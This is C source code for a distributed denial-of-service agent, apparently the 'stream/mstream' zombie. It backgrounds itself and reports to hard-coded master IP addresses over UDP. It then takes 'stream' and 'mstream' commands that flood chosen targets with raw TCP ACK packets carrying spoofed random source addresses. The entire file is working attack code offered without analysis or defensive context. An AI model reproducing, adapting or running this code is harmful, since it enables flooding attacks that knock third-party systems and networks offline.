/* spwn */

char *m[]={
	"1.1.1.1", /* first master */
	"2.2.2.2", /* second master */
	"3.3.3.3", /* third master etc */
	0 };

#define MASTER_PORT 9325
#define SERVER_PORT 7983

#include <sys/time.h>  
#include <strings.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/uio.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#ifdef LINUX
#define FIX(x)  htons(x)
#else 
#define FIX(x)  (x)
#endif


void forkbg (void);
void send2master (char *, struct in_addr);
void stream (int, int, u_long, char **);
void nlstr (char *);

int main (int argc, char *argv[])
{
 struct in_addr ia;
 struct sockaddr_in sock, remote;
 int fd, socksize, opt = 1, i;
 char buf[1024];

if (getuid() != 0) {
	fprintf(stderr, "Must be ran as root.\n");
	exit(0);
	}

if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
	perror("socket");
	exit(0);
	}

sock.sin_family = AF_INET;
sock.sin_port = htons(SERVER_PORT);
sock.sin_addr.s_addr = INADDR_ANY;
memset(&sock.sin_zero, 0, 8);

if (bind(fd, (struct sockaddr *)&sock, sizeof(struct sockaddr)) == -1) {
	perror("bind");
	exit(0);
	}

if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (void *)&opt, sizeof(int)) == -1) {
	perror("setsockopt");
	exit(0);
	}

forkbg();

for (i = 0 ; m[i] != 0 ; i++) {
ia.s_addr = inet_addr(m[i]);
send2master("newserver", ia);
}


for (;;) {
	socksize = sizeof(struct sockaddr);
	memset(&buf, 0, sizeof buf);
	if (recvfrom(fd, &buf, (sizeof buf)-1, 0, (struct sockaddr *)&remote, &socksize) <= 0) continue;
	if (!strncmp(buf, "stream", 6)) {
		char *ip;
		int seconds;
		nlstr(buf);
		(void)strtok(buf, "/");
		ip = strtok(NULL, "/");
		seconds = atoi(strtok(NULL, "/"));
		stream(0, (seconds + time(0)), inet_addr(ip), NULL);
		}

	if (!strncmp(buf, "mstream", 7)) {
		char *ips, *ipps[50], *tmpip;
		int seconds, y = 1;

		nlstr(buf);
		(void)strtok(buf, "/");
		ips = strtok(NULL, "/");
		seconds = atoi(strtok(NULL, "/"));
		if ((tmpip = strtok(ips, ":")) == NULL) continue;
		ipps[0] = (char *) malloc(strlen(tmpip)+2);
		strncpy(ipps[0], tmpip, strlen(tmpip)+2);
		y = 1;
		while ((tmpip = strtok(NULL, ":")) != NULL) {
			ipps[y] = (char *)malloc(strlen(tmpip)+2);
			strncpy(ipps[y], tmpip, strlen(tmpip)+2);
			y++;
			}
		ipps[y] = NULL;

		stream(1, (seconds + time(0)), NULL, ipps);
		for (y = 0 ; ipps[y] != NULL ; y++) free(ipps[y]);
		}

	if (!strncmp(buf, "ping", 4)) {
		send2master("pong", remote.sin_addr);
		}
	} /* for(;;) */
		
} /* main */

void send2master (char *buf, struct in_addr addr) {
 struct sockaddr_in sock;
 int fd;

if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return;

sock.sin_family = AF_INET;
sock.sin_port = htons(MASTER_PORT);
sock.sin_addr = addr;
memset(&sock.sin_zero, 0, 8);

sendto(fd, buf, strlen(buf), 0, (struct sockaddr *)&sock, sizeof(struct sockaddr));
}

void forkbg (void) {
 int pid;

pid = fork();

if (pid == -1) {
	perror("fork");
	exit(0);
	}

if (pid > 0) {
	printf("Forked into background, pid %d\n", pid);
	exit(0);
	}

}
struct ip_hdr {
    u_int	ip_hl:4,		/* header length in 32 bit words */
		ip_v:4;			/* ip version */
    u_char	ip_tos;			/* type of service */
    u_short	ip_len;			/* total packet length */
    u_short	ip_id;			/* identification */
    u_short	ip_off;			/* fragment offset */
    u_char	ip_ttl;			/* time to live */
    u_char	ip_p;			/* protocol */
    u_short	ip_sum;			/* ip checksum */
    u_long	saddr, daddr;		/* source and dest address */
};

struct tcp_hdr {
    u_short	th_sport;		/* source port */
    u_short	th_dport;		/* destination port */
    u_long	th_seq;			/* sequence number */
    u_long	th_ack;			/* acknowledgement number */
    u_int	th_x2:4,		/* unused */
		th_off:4;		/* data offset */
    u_char	th_flags;		/* flags field */
    u_short	th_win;			/* window size */
    u_short	th_sum;			/* tcp checksum */
    u_short	th_urp;			/* urgent pointer */
};

struct tcpopt_hdr {
    u_char  type;			/* type */
    u_char  len;				/* length */
    u_short value;			/* value */
};

struct pseudo_hdr {			/* See RFC 793 Pseudo Header */
    u_long saddr, daddr;			/* source and dest address */
    u_char mbz, ptcl;			/* zero and protocol */
    u_short tcpl;			/* tcp length */
};

struct packet {
    struct ip/*_hdr*/ ip;
    struct tcphdr tcp;
/* struct tcpopt_hdr opt; */
};

struct cksum {
    struct pseudo_hdr pseudo;
    struct tcphdr tcp;
};

struct packet packet;
struct cksum cksum;
struct sockaddr_in s_in;
int sock;


/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;

     /* Our algorithm is simple, using a 32 bit accumulator (sum), we add
      * sequential 16 bit words to it, and at the end, fold back all the
      * carry bits from the top 16 bits into the lower 16 bits. */

     while (nleft > 1)  {
         sum += *w++;
         nleft -= 2;
     }

     /* mop up an odd byte, if necessary */
     if (nleft == 1) {
         *(u_char *)(&answer) = *(u_char *) w;
         sum += answer;
     }

     /* add back carry outs from top 16 bits to low 16 bits */
     sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
     sum += (sum >> 16);         	/* add carry */
     answer = ~sum;              	/* truncate to 16 bits */
     return(answer);
}
void stream (int t, int until, u_long dstaddr, char *dstaddrs[])
{
    struct timespec ts;
    int on = 1;

if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) return;

if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(int)) == -1) return;


srand((time(NULL) ^ getpid()) + getppid());

    memset(&packet, 0, sizeof packet);

    ts.tv_sec			= 0;
    ts.tv_nsec			= 10;

    packet.ip.ip_hl		= 5;
    packet.ip.ip_v		= 4;
    packet.ip.ip_p		= IPPROTO_TCP;
    packet.ip.ip_tos		= 0x08;
    packet.ip.ip_id 		= rand();
    packet.ip.ip_len		= FIX(sizeof packet);
    packet.ip.ip_off		= 0; /* IP_DF? */
    packet.ip.ip_ttl		= 255;
if (!t)
    packet.ip.ip_dst.s_addr	= dstaddr;

    packet.tcp.th_flags		= TH_ACK;
    packet.tcp.th_win		= htons(16384);
    packet.tcp.th_seq		= random();
    packet.tcp.th_ack		= 0;
    packet.tcp.th_off		= 5; /* 5 */
    packet.tcp.th_urp		= 0;
    packet.tcp.th_sport		= rand();
    packet.tcp.th_dport		= rand();

if (!t)
    cksum.pseudo.daddr		= dstaddr;
    cksum.pseudo.mbz		= 0;
    cksum.pseudo.ptcl		= IPPROTO_TCP;
    cksum.pseudo.tcpl		= htons(sizeof(struct tcphdr));

    s_in.sin_family		= AF_INET;
if (!t)
    s_in.sin_addr.s_addr		= dstaddr;
    s_in.sin_port		= packet.tcp.th_dport;

    while (time(0) <= until) {
if (t) {
 int x;

for (x = 0 ; dstaddrs[x] != NULL ; x++) {
if (!strchr(dstaddrs[x], '.')) break;
packet.ip.ip_dst.s_addr     = inet_addr(dstaddrs[x]);
cksum.pseudo.daddr          = inet_addr(dstaddrs[x]);
s_in.sin_addr.s_addr        = inet_addr(dstaddrs[x]);
cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
++packet.ip.ip_id;
++packet.tcp.th_sport;
++packet.tcp.th_seq;
s_in.sin_port = packet.tcp.th_dport = rand();
packet.ip.ip_sum         = 0;
packet.tcp.th_sum                = 0;
cksum.tcp                        = packet.tcp;
packet.ip.ip_sum         = in_cksum((void *)&packet.ip, 20);
packet.tcp.th_sum                = in_cksum((void *)&cksum, sizeof cksum);
sendto(sock, &packet, sizeof packet, 0, (struct sockaddr *)&s_in, sizeof s_in);
}
} else {



    cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
       ++packet.ip.ip_id;
       ++packet.tcp.th_sport;
       ++packet.tcp.th_seq;

       s_in.sin_port = packet.tcp.th_dport = rand();

       packet.ip.ip_sum		= 0;
       packet.tcp.th_sum		= 0;

       cksum.tcp			= packet.tcp;

       packet.ip.ip_sum		= in_cksum((void *)&packet.ip, 20);
       packet.tcp.th_sum		= in_cksum((void *)&cksum, sizeof cksum);

sendto(sock, &packet, sizeof packet, 0, (struct sockaddr *)&s_in, sizeof s_in);
      }
    }
}

void nlstr (char *str) {
if (str[strlen(str)-1] == '\n') str[strlen(str)-1] = '\0';
}
